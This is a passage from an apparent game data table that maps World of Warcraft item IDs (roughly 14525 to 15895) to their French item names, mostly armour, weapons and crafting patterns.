démoniaque",[14525]="Gantelets de l\'étreinte osseuse",[14526]="Patron : Etoffe lunaire",[14527]="Monster - Mace2H, Horde Hammer A03 Dark",[14528]="Targe de Cliquethorax",[14529]="Bandage en étoffe runique",[14530]="Bandage épais en étoffe runique",[14531]="Hampe Crâne-effroi",[14532]="Monster - Mace2H, Warhammer Jade",[14533]="Monster - Mace, Hammer Blue Mighty",[14534]="Monster - Axe, Metal Blue Badass",[14535]="Monster - Spear, Cool Blue",[14536]="Haubert treillissé en os",[14537]="Grèves de mort-follet",[14538]="Mantelet du marchemort",[14539]="Casque d\'anneaux d\'os",[14540]="Cœur de Taragaman l\'Affameur",[14541]="Epée de la famille Barov",[14542]="Caisse de Kravel",[14543]="Gants sombre-ombrage",[14544]="Insigne de lieutenant",[14545]="Jambières du fléau spectral",[14546]="Corne de kodo de Roon",[14547]="Main d\'Iruxos",[14548]="Spallières royales",[14549]="Bottes d\'esquive",[14551]="Garde-mains du maître des tranchants",[14552]="Espauliers de la prison",[14553]="Echarpe de miséricorde",[14554]="Cuissards du gardien des nuages",[14555]="Rasoir solaire d\'Alcor",[14557]="La corne du lion de Hurlevent",[14558]="Pendentif de dame Maye",[14559]="Echarpe de prospecteur",[14560]="Bottes de prospecteur",[14561]="Crispins de prospecteur",[14562]="Plastron de prospecteur",[14563]="Cape de prospecteur",[14564]="Mitaines de prospecteur",[14565]="Haut-de-chausses de prospecteur",[14566]="Ailettes de prospecteur",[14567]="Ceinture de rêche-écorce",[14568]="Bottes de rêche-écorce",[14569]="Manchettes de rêche-écorce",[14570]="Chemisette de rêche-écorce",[14571]="Cape de rêche-écorce",[14572]="Gants de rêche-écorce",[14573]="Amict de rêche-écorce",[14574]="Braies de rêche-écorce",[14575]="Monster - Mace, Bashguud\'s Hammer",[14576]="Poignée d\'ébène de Marduk",[14577]="Pantalon fumecrâne",[14578]="Corde de Dokebi",[14579]="Bottes de Dokebi",[14580]="Brassards de Dokebi",[14581]="Corselet de Dokebi",[14582]="Cape de Dokebi",[14583]="Gants de Dokebi",[14584]="Chapeau de Dokebi",[14585]="Jambières de Dokebi",[14586]="Monster - Mace2H, Fist of Omokk",[14587]="Mantelet de Dokebi",[14588]="Corde œil-de-faucon",[14589]="Chaussures œil-de-faucon",[14590]="Brassards œil-de-faucon",[14591]="Casque œil-de-faucon",[14592]="Tunique œil-de-faucon",[14593]="Cape œil-de-faucon",[14594]="Gants œil-de-faucon",[14595]="Braies œil-de-faucon",[14596]="Epaulettes œil-de-faucon",[14598]="Baudrier de sylvegarde",[14599]="Souliers de sylvegarde",[14600]="Protège-poignets de sylvegarde",[14601]="Harnais de sylvegarde",[14602]="Cape de sylvegarde",[14603]="Mantelet de sylvegarde",[14604]="Chapeau de sorcier de sylvegarde",[14605]="Haut-de-chausses de sylvegarde",[14606]="Gants de sylvegarde",[14607]="Targe œil-de-faucon",[14608]="Targe de Dokebi",[14610]="Scarabée d\'Araj",[14611]="Haubert en mailles sanglantes",[14612]="Garde-jambes en mailles sanglantes",[14613]="Marteau de Taelan",[14614]="Ceinture en mailles sanglantes",[14615]="Gantelets en mailles sanglantes",[14616]="Bottes en mailles sanglantes",[14617]="Chemise du scieur d\'os",[14618]="Monster - Staff, Jeweled Red Staff Low Red Flame",[14619]="Fragments de squelette",[14620]="Ceinturon des ossements",[14621]="Solerets des ossements",[14622]="Gantelets des ossements",[14623]="Garde-jambes des ossements",[14624]="Pansière des ossements",[14625]="Symbole de l\'honneur perdu",[14626]="Robe nécropile",[14627]="Patron : Chemise jaune vif",[14628]="Fragments de squelette imprégnés",[14629]="Crispins nécropile",[14630]="Patron : Capuche d\'enchanteur",[14631]="Bottes nécropile",[14632]="Jambières nécropile",[14633]="Mantelet nécropile",[14634]="Recette : Huile glaciale",[14635]="Patron : Ceinture en cuir clouté de gemmes",[14636]="Ceinture cadavérique",[14637]="Armure cadavérique",[14638]="Jambières cadavériques",[14639]="Schéma : Recombobulateur mineur",[14640]="Gants cadavériques",[14641]="Brodequins cadavériques",[14642]="Monster - Gun, Tauren Feathers Silver",[14643]="Monster - Axe, 2H Battle A03 Red",[14644]="Moule de clé squelette",[14645]="Clé squelette inachevée",[14646]="Bon-cadeau de Comté-de-l\'Or",[14647]="Bon-cadeau de Kharanos",[14648]="Bon-cadeau de Dolanaar",[14649]="Bon-cadeau de Tranchecolline",[14650]="Bon-cadeau de Sabot-de-sang",[14651]="Bon-cadeau de Brill",[14652]="Echarpe scorpashi",[14653]="Mules scorpashi",[14654]="Protège-poignets scorpashi",[14655]="Cuirasse scorpashi",[14656]="Cape scorpashi",[14657]="Gants scorpashi",[14658]="Calot scorpashi",[14659]="Jambières scorpashi",[14660]="Protège-épaules scorpashi",[14661]="Corde de vigilant",[14662]="Sabots de vigilant",[14663]="Manchettes de vigilant",[14664]="Armure de vigilant",[14665]="Cape de vigilant",[14666]="Gants de vigilant",[14667]="Cimier de vigilant",[14668]="Haut-de-chausses de vigilant",[14669]="Mantelet de vigilant",[14670]="Armure du seigneur de la harde",[14671]="Bottes du seigneur de la harde",[14672]="Poignets du seigneur de la harde",[14673]="Cape du seigneur de la harde",[14674]="Ceinturon du seigneur de la harde",[14675]="Gants du seigneur de la harde",[14676]="Auréole du seigneur de la harde",[14677]="Pantalon du seigneur de la harde",[14678]="Espauliers du seigneur de la harde",[14679]="De l\'amour et de la famille",[14680]="Gilet indomptable",[14681]="Bottes indomptables",[14682]="Garde-bras indomptables",[14683]="Cape indomptable",[14684]="Ceinture indomptable",[14685]="Gantelets indomptables",[14686]="Casque indomptable",[14687]="Jambières indomptables",[14688]="Epaulettes indomptables",[14706]="Monster - Staff, 3 Piece Taped Staff Purple",[14707]="Monster - Staff, 3 Piece Taped Staff Blue",[14722]="Housseaux aux peintures de guerre",[14723]="Manchettes aux peintures de guerre",[14724]="Cape aux peintures de guerre",[14725]="Baudrier aux peintures de guerre",[14726]="Gants aux peintures de guerre",[14727]="Garde-jambes aux peintures de guerre",[14728]="Protège-épaules aux peintures de guerre",[14729]="Bouclier aux peintures de guerre",[14730]="Plastron aux peintures de guerre",[14742]="Bottes massives",[14743]="Poignets massifs",[14744]="Corselet massif",[14745]="Cape massive",[14746]="Ceinture massive",[14747]="Gantelets massifs",[14748]="Jambières massives",[14749]="Spallières massives",[14750]="Crispins de tueur",[14751]="Surcot de tueur",[14752]="Cape de tueur",[14753]="Casque de tueur",[14754]="Gants de tueur",[14755]="Echarpe de tueur",[14756]="Mules de tueur",[14757]="Pantalon de tueur",[14758]="Garde-épaules de tueur",[14759]="Brassards endurcis",[14760]="Cuirasse endurcie",[14761]="Ceinture endurcie",[14762]="Bottes endurcies",[14763]="Cape endurcie",[14764]="Gantelets endurcis",[14765]="Diadème endurci",[14766]="Braies endurcies",[14767]="Espauliers endurcis",[14768]="Armure de ravageur",[14769]="Sandales de ravageur",[14770]="Garde-bras de ravageur",[14771]="Cape de ravageur",[14772]="Protège-mains de ravageur",[14773]="Corde de ravageur",[14774]="Couronne de ravageur",[14775]="Haut-de-chausses de ravageur",[14776]="Mantelet de ravageur",[14777]="Bouclier de ravageur",[14778]="Manchettes de khan",[14779]="Plastron de khan",[14780]="Targe de khan",[14781]="Cape de khan",[14782]="Gants de khan",[14783]="Ceinture de khan",[14784]="Grèves de khan",[14785]="Heaume de khan",[14786]="Garde-jambes de khan",[14787]="Mantelet de khan",[14788]="Garde-bras de protecteur",[14789]="Cuirasse de protecteur",[14790]="Targe de protecteur",[14791]="Cape de protecteur",[14792]="Gantelets de protecteur",[14793]="Baudrier de protecteur",[14794]="Guêtres de protecteur",[14795]="Heaume de protecteur",[14796]="Garde-jambes de protecteur",[14797]="Ailettes de protecteur",[14798]="Cuirasse sanguinaire",[14799]="Bottes sanguinaires",[14800]="Targe sanguinaire",[14801]="Cape sanguinaire",[14802]="Gantelets sanguinaires",[14803]="Ceinture sanguinaire",[14804]="Casque sanguinaire",[14805]="Braies sanguinaires",[14806]="Epaulettes sanguinaires",[14807]="Bracelets sanguinaires",[14808]="Ceinture de choc martial",[14809]="Solerets de choc martial",[14810]="Brachiales de choc martial",[14811]="Corselet de choc martial",[14812]="Targe de choc martial",[14813]="Cape de choc martial",[14814]="Camail de choc martial",[14815]="Gantelets de choc martial",[14816]="Garde-jambes de choc martial",[14817]="Protège-épaules de choc martial",[14820]="Monster - Mace2H, Horde Skull Maul",[14821]="Cuirasse symbolique",[14823]="Monster - Mace2H, Horde Red Spiked Badass",[14824]="Monster - Mace2H, Horde Black Spiked Badass",[14825]="Ecu symbolique",[14826]="Gantelets symboliques",[14827]="Ceinture symbolique",[14828]="Grèves symboliques",[14829]="Cuissards symboliques",[14830]="Espauliers symboliques",[14831]="Couronne symbolique",[14832]="Protège-bras symboliques",[14833]="Gantelets de tyran",[14834]="Garde-bras de tyran",[14835]="Plastron de tyran",[14836]="Monster - Staff, Ornate Jeweled Staff - Purple",[14837]="Monster - Staff, Ornate Jeweled Staff - Purple Low Purple Glow",[14838]="Ceinture de tyran",[14839]="Grèves de tyran",[14840]="Cuissards de tyran",[14841]="Epaulettes de tyran",[14842]="Bouclier de tyran",[14843]="Heaume de tyran",[14844]="Corselet solécaille",[14845]="Monster - Staff, Wooden Handle Rounded Head Low Yellow Glow",[14846]="Gantelets solécaille",[14847]="Ceinture solécaille",[14848]="Solerets solécaille",[14849]="Heaume solécaille",[14850]="Cuissards solécaille",[14851]="Spallières solécaille",[14852]="Bouclier solécaille",[14853]="Garde-poignets solécaille",[14854]="Cuirasse de l\'avant-garde",[14855]="Gantelets de l\'avant-garde",[14856]="Ceinturon de l\'avant-garde",[14857]="Solerets de l\'avant-garde",[14858]="Coiffure de l\'avant-garde",[14859]="Cuissards de l\'avant-garde",[14860]="Espauliers de l\'avant-garde",[14861]="Protège-bras de l\'avant-garde",[14862]="Cuirasse de meneur de guerre",[14863]="Gantelets de meneur de guerre",[14864]="Ceinture de meneur de guerre",[14865]="Grèves de meneur de guerre",[14866]="Couronne de meneur de guerre",[14867]="Jambières de meneur de guerre",[14868]="Epaulières de meneur de guerre",[14869]="Brassards de meneur de guerre",[14870]="Monster - Axe, 2H Horde Massive Spiked",[14872]="Don de Tirion",[14873]="Monster - Staff, Ornate Jeweled Staff - Blue",[14874]="Monster - Axe, Horde C02 Black",[14875]="Monster - Axe, Horde Double Blade A02",[14877]="Monster - Axe, Horde Spiked A04",[14879]="Monster - Polearm, Blademaster",[14880]="Monster - Axe, Wide Blade Silver",[14881]="Monster - Glaive - 3 Blade Black",[14882]="Monster - Glaive - 2 Blade Silver",[14893]="Monster - Axe, Horde C01 Gold",[14894]="Racine de lis",[14895]="Surcot du sel gemme",[14896]="Solerets du sel gemme",[14897]="Gantelets du sel gemme",[14898]="Ceinturon du sel gemme",[14899]="Heaume du sel gemme",[14900]="Cuissards du sel gemme",[14901]="Protège-épaules du sel gemme",[14902]="Bouclier du sel gemme",[14903]="Brachiales du sel gemme",[14904]="Cuirasse brutale",[14905]="Gantelets brutaux",[14906]="Ceinture brutale",[14907]="Heaume brutal",[14908]="Garde-jambes brutaux",[14909]="Epaulières brutales",[14910]="Garde-bras brutaux",[14911]="Bottes brutales",[14912]="Bouclier brutal",[14913]="Grèves de jade",[14914]="Brassards de jade",[14915]="Cuirasse de jade",[14916]="Bouclier de jade",[14917]="Gantelets de jade",[14918]="Ceinture de jade",[14919]="Diadème de jade",[14920]="Cuissards de jade",[14921]="Epaulettes de jade",[14922]="Solerets nobles",[14923]="Garde-bras nobles",[14924]="Cuirasse noble",[14925]="Heaume noble",[14926]="Gantelets nobles",[14927]="Ceinture noble",[14928]="Garde-jambes nobles",[14929]="Protège-épaules nobles",[14930]="Bouclier noble",[14931]="Armure héroïque",[14932]="Grèves héroïques",[14933]="Gantelets héroïques",[14934]="Ceinturon héroïque",[14935]="Heaume héroïque",[14936]="Cuissards héroïques",[14937]="Espauliers héroïques",[14938]="Brassards héroïques",[14939]="Corselet de porteguerre",[14940]="Solerets de porteguerre",[14941]="Brachiales de porteguerre",[14942]="Gantelets de porteguerre",[14943]="Ceinture de porteguerre",[14944]="Couronne de porteguerre",[14945]="Garde-jambes de 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d\'exalté",[14976]="Gantelets d\'exalté",[14977]="Ceinturon d\'exalté",[14978]="Solerets d\'exalté",[14979]="Heaume d\'exalté",[14980]="Cuissards d\'exalté",[14981]="Epaulettes d\'exalté",[14982]="Bouclier d\'exalté",[14983]="Brachiales d\'exalté",[15002]="Pique de Nimboya",[15003]="Ceinture primordiale",[15004]="Bottes primordiales",[15005]="Poignets primordiaux",[15006]="Targe primordiale",[15007]="Cape primordiale",[15008]="Mitaines primordiales",[15009]="Jambières primordiales",[15010]="Harnais primordial",[15011]="Corde lupine",[15012]="Mules lupines",[15013]="Crispins lupins",[15014]="Targe lupine",[15015]="Cape lupine",[15016]="Protège-mains lupins",[15017]="Jambières lupines",[15018]="Gilet lupin",[15019]="Mantelet lupin",[15042]="Pot de Termites vide",[15043]="Termites des Maleterres",[15044]="Tonneau de termites des Maleterres",[15045]="Cuirasse en écailles de dragon vert",[15046]="Jambières en écailles de dragon vert",[15047]="Cuirasse en écailles de dragon rouge",[15048]="Cuirasse en écailles de dragon bleu",[15049]="Epaulières en écailles de dragon bleu",[15050]="Cuirasse en écailles de dragon noir",[15051]="Epaulières en écailles de dragon noir",[15052]="Jambières en écailles de dragon noir",[15053]="Cuirasse volcanique",[15054]="Jambières volcaniques",[15055]="Epaulières volcaniques",[15056]="Armure tempétueuse",[15057]="Pantalon tempétueux",[15058]="Epaulières tempétueuses",[15059]="Cuirasse vivante",[15060]="Jambières vivantes",[15061]="Epaulières vivantes",[15062]="Jambières diablosaures",[15063]="Gantelets diablosaures",[15064]="Harnais de l\'ours de guerre",[15065]="Haut-de-chausses de l\'ours de guerre",[15066]="Cuirasse en plumacier",[15067]="Epaulières en plumacier",[15068]="Tunique de sabre-de-givre",[15069]="Jambières de sabre-de-givre",[15070]="Gants de sabre-de-givre",[15071]="Bottes de sabre-de-givre",[15072]="Jambières chimériques",[15073]="Bottes chimériques",[15074]="Gants chimériques",[15075]="Gilet chimérique",[15076]="Broigne en écailles de scorpide épaisses",[15077]="Brassards en écailles de scorpide épaisses",[15078]="Gantelets en écailles de scorpide épaisses",[15079]="Jambières en écailles de scorpide épaisses",[15080]="Heaume en écailles de scorpide épaisses",[15081]="Epaulières en écailles de scorpide épaisses",[15082]="Ceinture en écailles de scorpide épaisses",[15083]="Gantelets corrompus en cuir",[15084]="Brassards corrompus en cuir",[15085]="Armure corrompue en cuir",[15086]="Bandeau corrompu en cuir",[15087]="Pantalon corrompu en cuir",[15088]="Ceinture corrompue en cuir",[15090]="Armure runique en cuir",[15091]="Gantelets runiques en cuir",[15092]="Brassards runiques en cuir",[15093]="Ceinture runique en cuir",[15094]="Bandeau runique en cuir",[15095]="Pantalon runique en cuir",[15096]="Epaulières runiques en cuir",[15102]="Echantillon testé d\'Un\'Goro",[15103]="Echantillon testé corrompu",[15104]="Bottes des ailés",[15105]="Bâton de Noh\'Orahil",[15106]="Bâton de Dar\'Orahil",[15107]="Orbe de Noh\'Orahil",[15108]="Orbe de Dar\'Orahil",[15109]="Bâton de Soran\'ruk",[15110]="Ceinture rigide",[15111]="Mocassins rigides",[15112]="Bracelets rigides",[15113]="Targe rigide",[15114]="Cape rigide",[15115]="Gants rigides",[15116]="Epaulières rigides",[15117]="Jambières rigides",[15118]="Tunique rigide",[15119]="Pantalon de Bien-né",[15120]="Ceinturon inusable",[15121]="Bottes inusables",[15122]="Brassards inusables",[15123]="Targe inusable",[15124]="Cape inusable",[15125]="Gants inusables",[15126]="Jambières inusables",[15127]="Epaulières inusables",[15128]="Tunique inusable",[15129]="Casque inusable",[15130]="Harnais de coupe-gorge",[15131]="Bottes de coupe-gorge",[15132]="Garde-bras de coupe-gorge",[15133]="Targe de coupe-gorge",[15134]="Casque de coupe-gorge",[15135]="Cape de coupe-gorge",[15136]="Ceinture de coupe-gorge",[15137]="Mitaines de coupe-gorge",[15138]="Cape en écailles d\'Onyxia",[15139]="Pantalon de coupe-gorge",[15140]="Mantelet de coupe-gorge",[15142]="Bottes d\'âme errante",[15143]="Manchettes d\'âme errante",[15144]="Haillons d\'âme errante",[15145]="Targe d\'âme errante",[15146]="Couronne d\'âme errante",[15147]="Cape d\'âme errante",[15148]="Ceinture d\'âme errante",[15149]="Gants d\'âme errante",[15150]="Ailettes d\'âme errante",[15151]="Garde-jambes d\'âme errante",[15152]="Chaussures de noctambule",[15153]="Cape de noctambule",[15154]="Echarpe de noctambule",[15155]="Gants de noctambule",[15156]="Chapeau de noctambule",[15157]="Jambières de noctambule",[15158]="Protège-épaules de noctambule",[15159]="Tunique de noctambule",[15160]="Protège-poignets de noctambule",[15161]="Ceinture imposante",[15162]="Bottes imposantes",[15163]="Brassards imposants",[15164]="Gilet imposant",[15165]="Cape imposante",[15166]="Gants imposants",[15167]="Bandeau imposant",[15168]="Pantalon imposant",[15169]="Epaulières imposantes",[15170]="Armure toute-puissante",[15171]="Bottes toutes-puissantes",[15172]="Poignets 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lune",[15205]="Carabine œil-de-chouette",[15206]="Férule doigt-de-jade",[15207]="Bouclier de renforcement",[15208]="Poussière de lune cénarienne",[15209]="Ensemble de reliques",[15210]="Epée courte d\'écumeur",[15211]="Epée courte militante",[15212]="Epée large de combattant",[15213]="Lame de mercenaire",[15214]="Brant noble",[15215]="Fauchon furieux",[15216]="Epée runique",[15217]="Lame veuve",[15218]="Epée en cristal",[15219]="Lame dimensionnelle",[15220]="Sabre de guerre",[15221]="Epée de guerre sainte",[15222]="Massue épineuse",[15223]="Etoile dentelée",[15224]="Pilonneur de combat",[15225]="Marteau séquoia",[15226]="Massue géante",[15227]="Gourdin à pointes de diamant",[15228]="Etoile fracassante",[15229]="Marteau du vent béni",[15230]="Fendoir strié",[15231]="Hachette-fendoir",[15232]="Fendoir trancheur",[15233]="Hache sauvage",[15234]="Faux supérieure",[15235]="Tranchant-croissant",[15236]="Fendoir lunaire",[15237]="Moissonneuse",[15238]="Hache de seigneur de guerre",[15239]="Déchireuse en gangrepierre",[15240]="Griffe du démon",[15241]="Couteau de combat",[15242]="Stylet affûté",[15243]="Kriss mortel",[15244]="Lame rasoir",[15245]="Dague vorpale",[15246]="Lame démoniaque",[15247]="Dague d\'hémorragie",[15248]="Claymore resplendissante",[15249]="Zweihander polie",[15250]="Flamberge rougeoyante",[15251]="Epée frappe-tête",[15252]="Epée longue-défense",[15253]="Lame de décapitation",[15254]="Espadon noir",[15255]="Flamberge galante",[15256]="Epée du massacre",[15257]="Lame de botte",[15258]="Lame de guerre divine",[15259]="Marteau d\'armes costaud",[15260]="Marteau en pierre",[15261]="Branche de séquoia",[15262]="Maillet supérieur",[15263]="Massette royale",[15264]="Brise-dos",[15265]="Douloureuse",[15266]="Marteleur féroce",[15267]="Marteau-de-brute",[15268]="Hache à lames jumelles",[15269]="Hache d\'armes massive",[15270]="Hache de guerre gigantesque",[15271]="Bardiche colossale",[15272]="Hache rasoir",[15273]="Frappeuse de mort",[15274]="Bâton long de divination",[15275]="Bâton de thaumaturge",[15276]="Bâton long de magus",[15277]="Kodo gris",[15278]="Bâton du solstice",[15279]="Baguette en ivoire",[15280]="Main de sorcier",[15281]="Bâtonnet de l\'étoile luminescente",[15282]="Doigt du dragon",[15283]="Baguette lunaire",[15284]="Grand arc d\'armes",[15285]="Arc long d\'archer",[15286]="Arc long en séquoia",[15287]="Arc de croisé",[15288]="Arc cornebrume",[15289]="Arc de grande frappe",[15290]="Kodo brun",[15291]="Aiguillonneur de harpie",[15292]="Kodo vert",[15293]="Kodo bleu",[15294]="Arc de siège",[15295]="Arc pennefeu",[15296]="Arc œil-de-faucon",[15297]="Brassards du grizzly",[15298]="Targe du grizzly",[15299]="Cape du grizzly",[15300]="Gants du grizzly",[15301]="Mules du grizzly",[15302]="Ceinture du grizzly",[15303]="Pantalon du grizzly",[15304]="Harnais du grizzly",[15305]="Chaussures farouches",[15306]="Manchettes farouches",[15307]="Targe farouche",[15308]="Corde farouche",[15309]="Cape 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chevaucheur de loup",[15375]="Protège-épaules de chevaucheur de loup",[15376]="Gambison de chevaucheur de loup",[15377]="Protège-poignets de chevaucheur de loup",[15378]="Ceinture grifferage",[15379]="Bottes grifferage",[15380]="Brassards grifferage",[15381]="Corselet grifferage",[15382]="Cape grifferage",[15383]="Gants grifferage",[15384]="Coiffure grifferage",[15385]="Jambières grifferage",[15386]="Protège-épaules grifferage",[15387]="Bracelets jadefeu",[15388]="Ceinture jadefeu",[15389]="Solerets jadefeu",[15390]="Corselet jadefeu",[15391]="Coiffe jadefeu",[15392]="Cape jadefeu",[15393]="Gants jadefeu",[15394]="Pantalon jadefeu",[15395]="Epaulettes jadefeu",[15396]="Dague de Courbebois",[15397]="Bâton chênegrive",[15398]="Bottes des mareyeurs",[15399]="Ceinture d\'herbe-sèche",[15400]="Brassards de coquillage",[15401]="Gants goutte-de-puits",[15402]="Gantelets du collet",[15403]="Brassards de la dorsale",[15404]="Ceinturon des brisants",[15405]="Gants d\'écailleur",[15406]="Bottes crustacéennes",[15407]="Peau robuste traitée",[15408]="Ecaille de scorpide épaisse",[15409]="Sel de Fonderoc raffiné",[15410]="Ecaille d\'Onyxia",[15411]="Marque de Fordring",[15412]="Ecaille de dragon vert",[15413]="Cuirasse ornée en adamantium",[15414]="Ecaille de dragon rouge",[15415]="Ecaille de dragon bleu",[15416]="Ecaille de dragon noir",[15417]="Cuir de diablosaure",[15418]="Marteau de guerre en platine chatoyant",[15419]="Cuir d\'ours de guerre",[15420]="Plumacier",[15421]="Voile de l\'exil",[15422]="Cuir de sabre-de-givre",[15423]="Cuir de chimère",[15424]="Hache d\'Orgrimmar",[15425]="Brassards sans pareils",[15426]="Bottes sans pareilles",[15427]="Cape sans pareille",[15428]="Ceinture sans pareille",[15429]="Gants sans pareils",[15430]="Bandeau sans pareil",[15431]="Jambières sans pareilles",[15432]="Epaulières sans pareilles",[15433]="Armure sans pareille",[15434]="Echarpe suprême",[15435]="Chaussures suprêmes",[15436]="Brassards suprêmes",[15437]="Cape suprême",[15438]="Gants suprêmes",[15439]="Couronne suprême",[15440]="Jambières suprêmes",[15441]="Epaulières suprêmes",[15442]="Cuirasse suprême",[15443]="Kriss d\'Orgrimmar",[15444]="Bâton d\'Orgrimmar",[15445]="Marteau d\'Orgrimmar",[15447]="Pourriture vivante",[15448]="Pourriture coagulée",[15449]="Chausses fantomatiques",[15450]="Jambières des vasières",[15451]="Jambières de la gargouille",[15452]="Brassards de plumes perlées",[15453]="Brassards de la savane",[15454]="Mortier et pilon",[15455]="Robe poussière-d\'automne",[15456]="Jambières du pas léger",[15457]="Epaulières du désert",[15458]="Bottes de la toundra",[15459]="Garde-poignets de dur-labeur",[15460]="Monster - Gun, Shotgun",[15461]="Bottes du pas rapide",[15462]="Brassards du terreau",[15463]="Gants du trotteur solitaire",[15464]="Marteau de brute",[15465]="Baguette tire-dards",[15466]="Bouclier résonnant",[15467]="Anneau de la Ligue des inventeurs",[15468]="Drapé de Chant-du-vent",[15469]="Cordelière de Chant-du-vent",[15470]="Jambières du Garde des plaines",[15471]="Armure de peau coriace",[15472]="Ceinture du destrier",[15473]="Bottes du destrier",[15474]="Manchettes du destrier",[15475]="Cape du destrier",[15476]="Protège-mains du destrier",[15477]="Pantalon du destrier",[15478]="Bouclier du destrier",[15479]="Armure du destrier",[15480]="Ceinturon de guerre déchiré",[15481]="Grèves de guerre déchirées",[15482]="Poignets de guerre déchirés",[15483]="Cape de guerre déchirée",[15484]="Manicles de guerre déchirées",[15485]="Pantalon de guerre déchiré",[15486]="Bouclier de guerre déchiré",[15487]="Tunique de guerre déchirée",[15488]="Surcot maculé de sang",[15489]="Solerets maculées de sang",[15490]="Cape maculée de sang",[15491]="Gants maculés de sang",[15492]="Echarpe maculée de sang",[15493]="Pagne maculé de sang",[15494]="Bouclier maculé de sang",[15495]="Protège-poignets maculés de sang",[15496]="Protège-épaules maculées de sang",[15497]="Corde d\'estafette",[15498]="Mules d\'estafette",[15499]="Crispins d\'estafette",[15500]="Corselet d\'estafette",[15501]="Cape d\'estafette",[15502]="Gants d\'estafette",[15503]="Garde-jambes d\'estafette",[15504]="Bouclier d\'estafette",[15505]="Espauliers d\'estafette",[15506]="Housseaux de grunt",[15507]="Brassards de grunt",[15508]="Cape de grunt",[15509]="Protège-mains de grunt",[15510]="Ceinture de grunt",[15511]="Garde-jambes de grunt",[15512]="Bouclier de grunt",[15513]="Espauliers de grunt",[15514]="Plastron de grunt",[15515]="Ceinture en anneaux cloutés",[15516]="Mules en anneaux cloutés",[15517]="Protège-poignets en anneaux cloutés",[15518]="Cuirasse en anneaux clouté",[15519]="Cape en anneaux cloutés",[15520]="Gantelets en anneaux cloutés",[15521]="Jambières en anneaux cloutés",[15522]="Bouclier en anneaux cloutés",[15523]="Protège-épaules en anneaux cloutés",[15524]="Surcot de factionnaire",[15525]="Mules de factionnaire",[15526]="Pèlerine de factionnaire",[15527]="Gants de factionnaire",[15528]="Echarpe de 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écailles de scorpide épaisses",[15744]="Patron : Bandeau corrompu en cuir",[15745]="Patron : Ceinture runique en cuir",[15746]="Patron : Jambières chimériques",[15747]="Patron : Jambières de sabre-de-givre",[15748]="Patron : Jambières en écailles de scorpide épaisses",[15749]="Patron : Cuirasse volcanique",[15750]="Sceptre de lumière",[15751]="Patron : Cuirasse en écailles de dragon bleu",[15752]="Patron : Jambières vivantes",[15753]="Patron : Armure tempétueuse",[15754]="Patron : Haut-de-chausses de l\'ours de guerre",[15755]="Patron : Gilet chimérique",[15756]="Patron : Bandeau runique en cuir",[15757]="Patron : Pantalon corrompu en cuir",[15758]="Patron : Gantelets diablosaures",[15759]="Patron : Cuirasse en écailles de dragon noir",[15760]="Patron : Cuirasse en plumacier",[15761]="Patron : Gants de sabre-de-givre",[15762]="Patron : Heaume en écailles de scorpide épaisses",[15763]="Patron : Epaulières en écailles de dragon bleu",[15764]="Patron : Epaulières tempétueuses",[15765]="Patron : Pantalon runique en cuir",[15766]="Gemme du serpent",[15767]="Clé d\'Hameya",[15768]="Patron : Ceinture corrompue en cuir",[15770]="Patron : Epaulières en écailles de dragon noir",[15771]="Patron : Cuirasse vivante",[15772]="Patron : Jambières diablosaures",[15773]="Patron : Armure corrompue en cuir",[15774]="Patron : Epaulières en écailles de scorpide épaisses",[15775]="Patron : Epaulières volcaniques",[15776]="Patron : Armure runique en cuir",[15777]="Patron : Epaulières runiques en cuir",[15778]="Yéti mécanique",[15779]="Patron : Tunique de sabre-de-givre",[15781]="Patron : Jambières en écailles de dragon noir",[15782]="Lame de bestiaire",[15783]="Dague de chasseur de bête",[15784]="Mantelet de la brise cristalline",[15785]="Tête de Zaeldarr",[15786]="Pourpoint de veine-fougère",[15787]="Haubert du saule",[15788]="Rapport de Long-Guet",[15789]="Cape du fleuve profond",[15790]="Etudes sur la langue des Esprits",[15791]="Echarpe turquoise",[15792]="Spallières du laboureur",[15793]="Un os rongé",[15794]="Pagne ogre déchiré",[15795]="Gantelets de la brume émeraude",[15796]="Brassards d\'écume",[15797]="Plaques de bras rayonnantes",[15798]="Dents d\'ogre ébréchées",[15799]="Médaille de valeur héroïque",[15800]="Epée courte intrépide",[15801]="Epée courte vaillante",[15802]="Bottes en étoffe lunaire",[15803]="Livre des Anciens",[15804]="Drapé cerise",[15805]="Rose de Pénélope",[15806]="Chanson de Mirah",[15807]="Arbalète légère",[15808]="Arbalète légère raffinée",[15809]="Arbalète lourde",[15810]="Lance courte",[15811]="Lance lourde",[15812]="Amict de l\'orchidée",[15813]="Ceinture tressée d\'or",[15814]="Tueuse d\'Hameya",[15815]="Cape d\'Hameya",[15822]="Spallières en peau d\'ombre",[15823]="Gantelets brique-d\'acier",[15824]="Robe d\'Astoria",[15825]="Pourpoint bec-de-corbin",[15826]="Remède pour animaux",[15827]="Cuirasse d\'écailles de jade",[15842]="Fiole d\'échantillon du pic de Brume-funeste vide",[15843]="Fiole d\'échantillon du Pic de Brume-funeste remplie",[15844]="Fiole d\'échantillon des chutes de la Bondissante vide",[15845]="Fiole d\'échantillon des Chutes de la Bondissante remplie",[15846]="Tamis à sel",[15847]="Registre de Quel\'Thalas",[15848]="Caisse d\'aimants fantômes",[15849]="Fantôm-o-plasme",[15850]="Touffe de fourrure de Crépuscaile",[15851]="Champignon lunaire",[15852]="Corne de kodo",[15853]="Fauchevent",[15854]="Esquilles dansantes",[15855]="Anneau de protection",[15856]="Talisman de grande lumière",[15857]="Scion plaie-des-mages",[15858]="Gants de Librevent",[15859]="Ceinturon de l\'escale",[15860]="Garde-bras de frappe éclair",[15861]="Bottines de pied-vif",[15862]="Foudroyante",[15863]="Sceptre de la tombe",[15864]="Brassards du condor",[15865]="Targe d\'Anchorhold",[15866]="Sac médecine de voile-poussière",[15867]="Charme prismatique",[15868]="Les ordres du Grand croisé",[15869]="Passe-partout en argent",[15870]="Passe-partout en or",[15871]="Passe-partout en vrai-argent",[15872]="Passe-partout en arcanite",[15873]="Chope sans fin de John le Loqueteux",[15874]="Praire",[15875]="Pomme pourrie",[15876]="Coffre de Nathanos",[15877]="Colifichet du sanctuaire",[15878]="Clé d\'argent de Rackmore",[15879]="Griffe du Seigneur Ror",[15880]="Tête de Ramstein Grandgosier",[15881]="Clé d\'or de Rackmore",[15882]="Demi-pendentif d\'endurance aquatique",[15883]="Demi-pendentif d\'agilité aquatique",[15884]="Livre de compte d\'Augustus",[15885]="Pendentif du lion de mer",[15886]="Phylactère de Timolain",[15887]="Garde héroïque",[15890]="Bouclier de l\'avant-garde",[15891]="Bouclier massif",[15892]="Bouclier de tueur",[15893]="Targe de prospecteur",[15894]="Targe de rêche-écorce",[15895]="Targe 